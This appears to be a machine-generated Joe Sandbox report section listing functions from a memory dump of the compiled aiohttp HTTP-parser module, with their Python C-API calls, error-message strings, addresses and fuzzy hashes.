Instruction Fuzzy Hash: 3451ACB5A0AB42D1EB1AEF31E4405B967A8FB84B90F544072DE5D937A4DF3EE046C320

Function 00007FFBAAF18FD0 Relevance: 12.2, APIs: 8, Instructions: 170
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PyObject_Init.PYTHON310 ref: 00007FFBAAF19020
PyObject_GC_Track.PYTHON310 ref: 00007FFBAAF19029
PyObject_GC_IsFinalized.PYTHON310 ref: 00007FFBAAF19077
PyObject_CallFinalizerFromDealloc.PYTHON310 ref: 00007FFBAAF19095
PyObject_GC_UnTrack.PYTHON310 ref: 00007FFBAAF190AB
_Py_Dealloc.PYTHON310 ref: 00007FFBAAF190C6
_Py_Dealloc.PYTHON310 ref: 00007FFBAAF190DF
_Py_Dealloc.PYTHON310 ref: 00007FFBAAF190F8

Memory Dump Source

Source File: 00000003.00000002.1962008991.00007FFBAAF01000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FFBAAF00000, based on PE: true

Associated: 00000003.00000002.1961973099.00007FFBAAF00000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962060335.00007FFBAAF34000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962091897.00007FFBAAF3F000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962127369.00007FFBAAF44000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffbaaf00000_stub.jbxd

Similarity

API ID: Object_$Dealloc$Track$CallFinalizedFinalizerFromInit
String ID:
API String ID: 689297262-0
Opcode ID: 1105732f36dce22c784bb94101f1a7eff4ec4526eb5912b4a688f9a661355dbb
Instruction ID: 45da036ff1fcf9598bc26a33c1df6beb474ad6f6389bf3691975bd5f54c85021
Opcode Fuzzy Hash: 1105732f36dce22c784bb94101f1a7eff4ec4526eb5912b4a688f9a661355dbb
Instruction Fuzzy Hash: B55195A6A1AB41C2EF1E9F76E88017467A8FF88B85F084175CE1D87354DF2ED4928350

Function 00007FFBAAF26830 Relevance: 12.1, APIs: 8, Instructions: 114COMMON

Download Yara Rule

APIs

PyErr_NormalizeException.PYTHON310(?,?,00007FFBAAF34788,00001768,00000000,00007FFBAAF26A0D,?,?,?,?,00007FFBAAF07A8E), ref: 00007FFBAAF26881
PyException_SetTraceback.PYTHON310(?,?,00007FFBAAF34788,00001768,00000000,00007FFBAAF26A0D,?,?,?,?,00007FFBAAF07A8E), ref: 00007FFBAAF268A3
_Py_Dealloc.PYTHON310(?,?,00007FFBAAF34788,00001768,00000000,00007FFBAAF26A0D,?,?,?,?,00007FFBAAF07A8E), ref: 00007FFBAAF26934
_Py_Dealloc.PYTHON310(?,?,00007FFBAAF34788,00001768,00000000,00007FFBAAF26A0D,?,?,?,?,00007FFBAAF07A8E), ref: 00007FFBAAF26948
_Py_Dealloc.PYTHON310(?,?,00007FFBAAF34788,00001768,00000000,00007FFBAAF26A0D,?,?,?,?,00007FFBAAF07A8E), ref: 00007FFBAAF2695C
_Py_Dealloc.PYTHON310(?,?,00007FFBAAF34788,00001768,00000000,00007FFBAAF26A0D,?,?,?,?,00007FFBAAF07A8E), ref: 00007FFBAAF2697F
_Py_Dealloc.PYTHON310(?,?,00007FFBAAF34788,00001768,00000000,00007FFBAAF26A0D,?,?,?,?,00007FFBAAF07A8E), ref: 00007FFBAAF26995
_Py_Dealloc.PYTHON310(?,?,00007FFBAAF34788,00001768,00000000,00007FFBAAF26A0D,?,?,?,?,00007FFBAAF07A8E), ref: 00007FFBAAF269AB

Memory Dump Source

Source File: 00000003.00000002.1962008991.00007FFBAAF01000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FFBAAF00000, based on PE: true

Associated: 00000003.00000002.1961973099.00007FFBAAF00000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962060335.00007FFBAAF34000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962091897.00007FFBAAF3F000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962127369.00007FFBAAF44000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffbaaf00000_stub.jbxd

Similarity

API ID: Dealloc$Err_ExceptionException_NormalizeTraceback
String ID:
API String ID: 2316155915-0
Opcode ID: 914f6b9baeb2aaca218c9e49dd1f2e8384bb7dbfd6bf696a98001349bd1f1839
Instruction ID: c14ab03996049bb4040483331b90d2c695a863d1537d158173d19076605e47ee
Opcode Fuzzy Hash: 914f6b9baeb2aaca218c9e49dd1f2e8384bb7dbfd6bf696a98001349bd1f1839
Instruction Fuzzy Hash: 1C518DB6A0AF41C1DB9A8F35E854129B3A8FB58F94B188471CE9C83714CF3ED45AC720

Function 00007FFBAAF17FA0 Relevance: 12.1, APIs: 8, Instructions: 105COMMON

Download Yara Rule

APIs

_Py_Dealloc.PYTHON310 ref: 00007FFBAAF17FCD
_Py_Dealloc.PYTHON310 ref: 00007FFBAAF17FF7
_Py_Dealloc.PYTHON310 ref: 00007FFBAAF18021
_Py_Dealloc.PYTHON310 ref: 00007FFBAAF1804B
_Py_Dealloc.PYTHON310 ref: 00007FFBAAF18075
_Py_Dealloc.PYTHON310 ref: 00007FFBAAF1809F
_Py_Dealloc.PYTHON310 ref: 00007FFBAAF180C9
_Py_Dealloc.PYTHON310 ref: 00007FFBAAF180F3

Memory Dump Source

Source File: 00000003.00000002.1962008991.00007FFBAAF01000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FFBAAF00000, based on PE: true

Associated: 00000003.00000002.1961973099.00007FFBAAF00000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962060335.00007FFBAAF34000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962091897.00007FFBAAF3F000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962127369.00007FFBAAF44000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffbaaf00000_stub.jbxd

Similarity

API ID: Dealloc
String ID:
API String ID: 3617616757-0
Opcode ID: 2799e33cad7df17ad2b5f05c6cb7d5ad214d5bca6b6db2c5015863b4a719d01b
Instruction ID: 1d7cd8a470a39c47cf87ff907f32d41f35896e983fa8b611cc56e8e9f012fb58
Opcode Fuzzy Hash: 2799e33cad7df17ad2b5f05c6cb7d5ad214d5bca6b6db2c5015863b4a719d01b
Instruction Fuzzy Hash: A34195B690AE05C1EB5FAF76E95007837B8FB54B56B1445B6CE2D83320CF2ED4428360

Function 00007FFBAAF26BB0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 71COMMON

Download Yara Rule

APIs

PyDict_Next.PYTHON310 ref: 00007FFBAAF26C10
PyDict_Next.PYTHON310 ref: 00007FFBAAF26C45
PyErr_Format.PYTHON310 ref: 00007FFBAAF26C71
PyErr_Format.PYTHON310 ref: 00007FFBAAF26C9D

Strings

%s() got an unexpected keyword argument '%U', xrefs: 00007FFBAAF26C64
%.200s() keywords must be strings, xrefs: 00007FFBAAF26C90

Memory Dump Source

Source File: 00000003.00000002.1962008991.00007FFBAAF01000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FFBAAF00000, based on PE: true

Associated: 00000003.00000002.1961973099.00007FFBAAF00000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962060335.00007FFBAAF34000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962091897.00007FFBAAF3F000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962127369.00007FFBAAF44000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffbaaf00000_stub.jbxd

Similarity

API ID: Dict_Err_FormatNext
String ID: %.200s() keywords must be strings$%s() got an unexpected keyword argument '%U'
API String ID: 4074058445-1494077997
Opcode ID: 8ffa3fa0e70fece9eb992863e8a0e606aa77c9d3c2f011a188a14575dc8fe9be
Instruction ID: 3f10b926a914fcb42b5fce0d8ab6e399514633f11f1fa0b0b41460cba9ab1198
Opcode Fuzzy Hash: 8ffa3fa0e70fece9eb992863e8a0e606aa77c9d3c2f011a188a14575dc8fe9be
Instruction Fuzzy Hash: 8831D4A2A19A41C1E7859F35F8407A9B3A4FBD8B85F545071EE8E83714CF3ED486C720

Function 00007FFBAAF26FC0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 42COMMON

Download Yara Rule

APIs

Py_EnterRecursiveCall.PYTHON310 ref: 00007FFBAAF26FEF
Py_LeaveRecursiveCall.PYTHON310 ref: 00007FFBAAF27016
PyErr_Occurred.PYTHON310 ref: 00007FFBAAF27021
PyErr_SetString.PYTHON310 ref: 00007FFBAAF2703D

Strings

NULL result without error in PyObject_Call, xrefs: 00007FFBAAF27033
while calling a Python object, xrefs: 00007FFBAAF26FE8

Memory Dump Source

Source File: 00000003.00000002.1962008991.00007FFBAAF01000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FFBAAF00000, based on PE: true

Associated: 00000003.00000002.1961973099.00007FFBAAF00000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962060335.00007FFBAAF34000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962091897.00007FFBAAF3F000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962127369.00007FFBAAF44000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffbaaf00000_stub.jbxd

Similarity

API ID: CallErr_Recursive$EnterLeaveOccurredString
String ID: while calling a Python object$NULL result without error in PyObject_Call
API String ID: 1825350209-1256585865
Opcode ID: 3e0c1f3b583ed904d77199725b658d8ca63907b1c178fa783aee72da0b5ecc70
Instruction ID: 8ae8ef7db59eecd5a38627c2d9db0e07017ba8eb52d1cb9883a4072df0c1505a
Opcode Fuzzy Hash: 3e0c1f3b583ed904d77199725b658d8ca63907b1c178fa783aee72da0b5ecc70
Instruction Fuzzy Hash: 5D118691B09A42C1EF499B36F4541696754FB84FC5F085075DE1D83754DF2EE48BC320

Function 00007FFBAAF27420 Relevance: 9.1, APIs: 6, Instructions: 120COMMON

Download Yara Rule

APIs

PyObject_GetAttr.PYTHON310(?,?,?,00007FFBAAF0D1A0), ref: 00007FFBAAF2746B
PyType_IsSubtype.PYTHON310(?,?,?,00007FFBAAF0D1A0), ref: 00007FFBAAF2750B
PyCMethod_New.PYTHON310(?,?,?,00007FFBAAF0D1A0), ref: 00007FFBAAF27541
_Py_Dealloc.PYTHON310(?,?,?,00007FFBAAF0D1A0), ref: 00007FFBAAF2755C
PyTuple_New.PYTHON310(?,?,?,00007FFBAAF0D1A0), ref: 00007FFBAAF2756B
_Py_Dealloc.PYTHON310(?,?,?,00007FFBAAF0D1A0), ref: 00007FFBAAF2759B

Memory Dump Source

Source File: 00000003.00000002.1962008991.00007FFBAAF01000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FFBAAF00000, based on PE: true

Associated: 00000003.00000002.1961973099.00007FFBAAF00000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962060335.00007FFBAAF34000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962091897.00007FFBAAF3F000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962127369.00007FFBAAF44000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffbaaf00000_stub.jbxd

Similarity

API ID: Dealloc$AttrMethod_Object_SubtypeTuple_Type_
String ID:
API String ID: 2838696399-0
Opcode ID: 75c07022fa956bfcc9d8b6180236dff9748b1f2626edc6a3add62eacb3b3da0d
Instruction ID: 8db1805b8eb1ca309d0a522a971697fb0df383844ad3ebc0beb7908ef0144cd3
Opcode Fuzzy Hash: 75c07022fa956bfcc9d8b6180236dff9748b1f2626edc6a3add62eacb3b3da0d
Instruction Fuzzy Hash: 5D5183F2A0AB41C1EB6A9F35E46017967A8EF44F81F0844B5CE5D83794DF3EE4468360

Function 00007FFBAAF28FF0 Relevance: 9.1, APIs: 6, Instructions: 74COMMON

Download Yara Rule

APIs

PyList_New.PYTHON310 ref: 00007FFBAAF29044
PyImport_ImportModuleLevelObject.PYTHON310 ref: 00007FFBAAF2907F
_Py_Dealloc.PYTHON310 ref: 00007FFBAAF29091
_Py_Dealloc.PYTHON310 ref: 00007FFBAAF290CC
PyErr_Clear.PYTHON310 ref: 00007FFBAAF290DE

Memory Dump Source

Source File: 00000003.00000002.1962008991.00007FFBAAF01000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FFBAAF00000, based on PE: true

Associated: 00000003.00000002.1961973099.00007FFBAAF00000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962060335.00007FFBAAF34000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962091897.00007FFBAAF3F000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962127369.00007FFBAAF44000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffbaaf00000_stub.jbxd

Similarity

API ID: Dealloc$ClearErr_ImportImport_LevelList_ModuleObject
String ID:
API String ID: 449435975-0
Opcode ID: 4d4f709af908074a74f8ba25bd54145c92cc616446c139868dc36c581aea49ca
Instruction ID: 981d79fcc8feb4a143d3d44553eb34b0d1abbbaa81b41ae82c96836d58f69c08
Opcode Fuzzy Hash: 4d4f709af908074a74f8ba25bd54145c92cc616446c139868dc36c581aea49ca
Instruction Fuzzy Hash: 98313C75A0AB89C1EB4A9F35E8942A87368FB44F99F084075CE5D47764DF2FE056C320

Function 00007FFBAAF2A800 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 80threadCOMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON310(?,?,?,?,?,?,00000000,00007FFBAAF080F0), ref: 00007FFBAAF2A839
PyErr_SetNone.PYTHON310(?,?,?,?,?,?,00000000,00007FFBAAF080F0), ref: 00007FFBAAF2A860
_PyThreadState_UncheckedGet.PYTHON310(?,?,?,?,?,?,00000000,00007FFBAAF080F0), ref: 00007FFBAAF2A878
_Py_Dealloc.PYTHON310 ref: 00007FFBAAF2A912

Strings

can't send non-None value to a just-started generator, xrefs: 00007FFBAAF2A82F

Memory Dump Source

Source File: 00000003.00000002.1962008991.00007FFBAAF01000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FFBAAF00000, based on PE: true

Associated: 00000003.00000002.1961973099.00007FFBAAF00000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962060335.00007FFBAAF34000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962091897.00007FFBAAF3F000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962127369.00007FFBAAF44000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffbaaf00000_stub.jbxd

Similarity

API ID: Err_$DeallocNoneState_StringThreadUnchecked
String ID: can't send non-None value to a just-started generator
API String ID: 969891223-3187425046
Opcode ID: 6277c8053d5b532fb4994edc4439885c69d64f8ad4eefc0abb4356ded84228b3
Instruction ID: a18bad6578183a3060afd431f9e9f905926245238d42e93f79aa5e969bed4df1
Opcode Fuzzy Hash: 6277c8053d5b532fb4994edc4439885c69d64f8ad4eefc0abb4356ded84228b3
Instruction Fuzzy Hash: 663170A2A06A41C2EB5A9B36E55036873A4FB48B84F045071CF5DC7754DF3DE4A68320

Function 00007FFBAAF297F0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 49COMMON

Download Yara Rule

APIs

PyErr_Format.PYTHON310 ref: 00007FFBAAF2982E
PyErr_Format.PYTHON310 ref: 00007FFBAAF2988E

Strings

%.200s() takes exactly one argument (%zd given), xrefs: 00007FFBAAF2987E
%.200s() takes no keyword arguments, xrefs: 00007FFBAAF2984D
%.200s() needs an argument, xrefs: 00007FFBAAF2981A

Memory Dump Source

Source File: 00000003.00000002.1962008991.00007FFBAAF01000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FFBAAF00000, based on PE: true

Associated: 00000003.00000002.1961973099.00007FFBAAF00000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962060335.00007FFBAAF34000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962091897.00007FFBAAF3F000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962127369.00007FFBAAF44000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffbaaf00000_stub.jbxd

Similarity

API ID: Err_Format
String ID: %.200s() needs an argument$%.200s() takes exactly one argument (%zd given)$%.200s() takes no keyword arguments
API String ID: 376477240-2104551967
Opcode ID: c16e0fcdc57aa5166907a82d8846078a17deff2cfcb021dc2d73204346a6751f
Instruction ID: 9568182994f0aa22c246581a4fc6c9d5477d70585942e290498bce39b5cd4150
Opcode Fuzzy Hash: c16e0fcdc57aa5166907a82d8846078a17deff2cfcb021dc2d73204346a6751f
Instruction Fuzzy Hash: ED1193E5E0AA42C1EB1E9B36C4902F413A5BB45B95FD40171CD2E87390DE6FD59B8320

Function 00007FFBAAF2BBA0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 39COMMON

Download Yara Rule

APIs

PyOS_snprintf.PYTHON310 ref: 00007FFBAAF2BC2B
PyErr_WarnEx.PYTHON310 ref: 00007FFBAAF2BC3E

Strings

compile time Python version %d.%d of module '%.100s' %s runtime version %d.%d, xrefs: 00007FFBAAF2BBE3
aiohttp._http_parser, xrefs: 00007FFBAAF2BC17
does not match, xrefs: 00007FFBAAF2BBF6

Memory Dump Source

Source File: 00000003.00000002.1962008991.00007FFBAAF01000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FFBAAF00000, based on PE: true

Associated: 00000003.00000002.1961973099.00007FFBAAF00000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962060335.00007FFBAAF34000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962091897.00007FFBAAF3F000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962127369.00007FFBAAF44000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffbaaf00000_stub.jbxd

Similarity

API ID: Err_S_snprintfWarn
String ID: aiohttp._http_parser$compile time Python version %d.%d of module '%.100s' %s runtime version %d.%d$does not match
API String ID: 1038695789-940319404
Opcode ID: 09bb39c88d57da56fad7e63dc0f12bc9827ae930565bb989df15ca791aa67c4c
Instruction ID: 5afe2af9106fa939cb332a4b30f5ddb9ae8a1237a1d36305a2072059498946fc
Opcode Fuzzy Hash: 09bb39c88d57da56fad7e63dc0f12bc9827ae930565bb989df15ca791aa67c4c
Instruction Fuzzy Hash: 97115271A19A41C5E7699B34F8513EAB394FB88344F800176D99E87755DF3DD106CB20

Function 00007FFBAAF25C40 Relevance: 7.6, APIs: 5, Instructions: 69threadCOMMON

Download Yara Rule

APIs

_PyThreadState_UncheckedGet.PYTHON310(?,?,?,?,00007FFBAAF29C35), ref: 00007FFBAAF25C92
_Py_Dealloc.PYTHON310(?,?,?,?,00007FFBAAF29C35), ref: 00007FFBAAF25D07
_Py_Dealloc.PYTHON310(?,?,?,?,00007FFBAAF29C35), ref: 00007FFBAAF25D1B
_Py_Dealloc.PYTHON310(?,?,?,?,00007FFBAAF29C35), ref: 00007FFBAAF25D34

Memory Dump Source

Source File: 00000003.00000002.1962008991.00007FFBAAF01000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FFBAAF00000, based on PE: true

Associated: 00000003.00000002.1961973099.00007FFBAAF00000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962060335.00007FFBAAF34000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962091897.00007FFBAAF3F000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962127369.00007FFBAAF44000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffbaaf00000_stub.jbxd

Similarity

API ID: Dealloc$State_ThreadUnchecked
String ID:
API String ID: 3754167505-0
Opcode ID: d704c2e779b35c3afa629f3d8ba6953454643d8ff8859cd9633ad1bc43db857b
Instruction ID: 91164a9a4d99c9eb6b04411dd732c1f98cf2d9158b748838d4f3ed2e16f105d8
Opcode Fuzzy Hash: d704c2e779b35c3afa629f3d8ba6953454643d8ff8859cd9633ad1bc43db857b
Instruction Fuzzy Hash: 7E3186B5A0FB41C1EB5A9B71E45417973A8FF45B81F4840B5CE9E83B50DF2EE4468320

Function 00007FFBAAF28C10 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON310 ref: 00007FFBAAF28C2D
_Py_Dealloc.PYTHON310 ref: 00007FFBAAF28C6C

Strings

function's dictionary may not be deleted, xrefs: 00007FFBAAF28C1C
setting function's dictionary to a non-dict, xrefs: 00007FFBAAF28C4D

Memory Dump Source

Source File: 00000003.00000002.1962008991.00007FFBAAF01000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FFBAAF00000, based on PE: true

Associated: 00000003.00000002.1961973099.00007FFBAAF00000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962060335.00007FFBAAF34000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962091897.00007FFBAAF3F000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962127369.00007FFBAAF44000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffbaaf00000_stub.jbxd

Similarity

API ID: DeallocErr_String
String ID: function's dictionary may not be deleted$setting function's dictionary to a non-dict
API String ID: 1259552197-2577330722
Opcode ID: b1832a1628ac1ec45ffbae4df105ce1ca3046a18fbfe17280c7752304189e982
Instruction ID: ac975ded80b75cbee66186699eeda429daecf7ffc16e244baad57d1f26fe82f4
Opcode Fuzzy Hash: b1832a1628ac1ec45ffbae4df105ce1ca3046a18fbfe17280c7752304189e982
Instruction Fuzzy Hash: 1CF0C8F6E47A02C1EB5EAB35D85027423A8BF84B95F9041B1CD1D82250DF2ED05B8320

Function 00007FFBAAF1E3D0 Relevance: 6.2, APIs: 4, Instructions: 243COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFBAAF27CD0: PyGC_Disable.PYTHON310(?,?,?,00007FFBAAF1E3EB), ref: 00007FFBAAF27D3A
Part of subcall function 00007FFBAAF27CD0: PyType_Ready.PYTHON310 ref: 00007FFBAAF27D4F
Part of subcall function 00007FFBAAF27CD0: PyGC_Enable.PYTHON310 ref: 00007FFBAAF27D6A

PyObject_SetAttr.PYTHON310 ref: 00007FFBAAF1E431
PyObject_SetAttr.PYTHON310 ref: 00007FFBAAF1E4B4
PyObject_SetAttr.PYTHON310 ref: 00007FFBAAF1E703
PyObject_SetAttr.PYTHON310 ref: 00007FFBAAF1E825

Memory Dump Source

Source File: 00000003.00000002.1962008991.00007FFBAAF01000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FFBAAF00000, based on PE: true

Associated: 00000003.00000002.1961973099.00007FFBAAF00000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962060335.00007FFBAAF34000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962091897.00007FFBAAF3F000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962127369.00007FFBAAF44000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffbaaf00000_stub.jbxd

Similarity

API ID: AttrObject_$DisableEnableReadyType_
String ID:
API String ID: 3217214912-0
Opcode ID: 988189a9178164202d2acadced9c393ce3a32f604d320124b1143355a1618faa
Instruction ID: 7bad4f26c5cfcade4e4690ef739a2dcbd8568537fc491b0bc536ee7f478615a3
Opcode Fuzzy Hash: 988189a9178164202d2acadced9c393ce3a32f604d320124b1143355a1618faa
Instruction Fuzzy Hash: 9EE187B5A0AB46C1E64A9B35D8912B427ACFB44B54F4012B2DE4CC7365EF3EE497D320

Function 00007FFBAAF273A0 Relevance: 6.0, APIs: 4, Instructions: 36COMMON

Download Yara Rule

APIs

PyTuple_Size.PYTHON310 ref: 00007FFBAAF273BB
PyTuple_GetSlice.PYTHON310 ref: 00007FFBAAF273CC
PyObject_Call.PYTHON310 ref: 00007FFBAAF273F3
_Py_Dealloc.PYTHON310 ref: 00007FFBAAF27405

Memory Dump Source

Source File: 00000003.00000002.1962008991.00007FFBAAF01000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FFBAAF00000, based on PE: true

Associated: 00000003.00000002.1961973099.00007FFBAAF00000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962060335.00007FFBAAF34000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962091897.00007FFBAAF3F000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962127369.00007FFBAAF44000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffbaaf00000_stub.jbxd

Similarity

API ID: Tuple_$CallDeallocObject_SizeSlice
String ID:
API String ID: 387090426-0
Opcode ID: 1bc982df166f6d3f6d90821d47e47b8012d8173ecf0e8bb6108df7ceba8631cd
Instruction ID: e46accd74c8435aa6e7bdccef407a272d4506f5bbba193c0208cd6605733c306
Opcode Fuzzy Hash: 1bc982df166f6d3f6d90821d47e47b8012d8173ecf0e8bb6108df7ceba8631cd
Instruction Fuzzy Hash: F7F08161B0AB81C1EA499B73F954069A664EB88FC5B084070EE1E57B19DE2DD4828710

Function 00007FFBAAF06B34 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 83COMMON

Download Yara Rule

APIs

PyDict_Size.PYTHON310 ref: 00007FFBAAF06B92

Strings

aiohttp._http_parser.RawRequestMessage.__init__, xrefs: 00007FFBAAF0718E
__init__, xrefs: 00007FFBAAF06D70

Memory Dump Source

Source File: 00000003.00000002.1962008991.00007FFBAAF01000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FFBAAF00000, based on PE: true

Associated: 00000003.00000002.1961973099.00007FFBAAF00000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962060335.00007FFBAAF34000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962091897.00007FFBAAF3F000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962127369.00007FFBAAF44000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffbaaf00000_stub.jbxd

Similarity

API ID: Dict_Size
String ID: __init__$aiohttp._http_parser.RawRequestMessage.__init__
API String ID: 1288431816-4042305137
Opcode ID: 3c73d352a82e4de11d0ff0aa46e22f9f032a28eb66097bbb1c15bdab2b1d710d
Instruction ID: 68812e9cf2a6aeeed2806558c865e938f3769ecdf02ffa0b04f2e3a62d2c3da7
Opcode Fuzzy Hash: 3c73d352a82e4de11d0ff0aa46e22f9f032a28eb66097bbb1c15bdab2b1d710d
Instruction Fuzzy Hash: A1415BB6A0AF45C9E745DB65E84019D73B8F748B98F100166EE8C93B68EF39D0A2C710

Function 00007FFBAAF2B7C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

_Py_Dealloc.PYTHON310 ref: 00007FFBAAF2B7F2
PyErr_SetString.PYTHON310 ref: 00007FFBAAF2B810

Strings

__name__ must be set to a string object, xrefs: 00007FFBAAF2B806

Memory Dump Source

Source File: 00000003.00000002.1962008991.00007FFBAAF01000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FFBAAF00000, based on PE: true

Associated: 00000003.00000002.1961973099.00007FFBAAF00000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962060335.00007FFBAAF34000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962091897.00007FFBAAF3F000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962127369.00007FFBAAF44000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffbaaf00000_stub.jbxd

Similarity

API ID: DeallocErr_String
String ID: __name__ must be set to a string object
API String ID: 1259552197-1372955150
Opcode ID: 9d01d9c6a468e975fbb5e1542fedb4de887afaa88ef3e9b2b7a58de9fc82d48c
Instruction ID: 9bd953012dc6dbe0c218d7f681d18d94a9ac54fc86a004ec30f567c095fcdc8b
Opcode Fuzzy Hash: 9d01d9c6a468e975fbb5e1542fedb4de887afaa88ef3e9b2b7a58de9fc82d48c
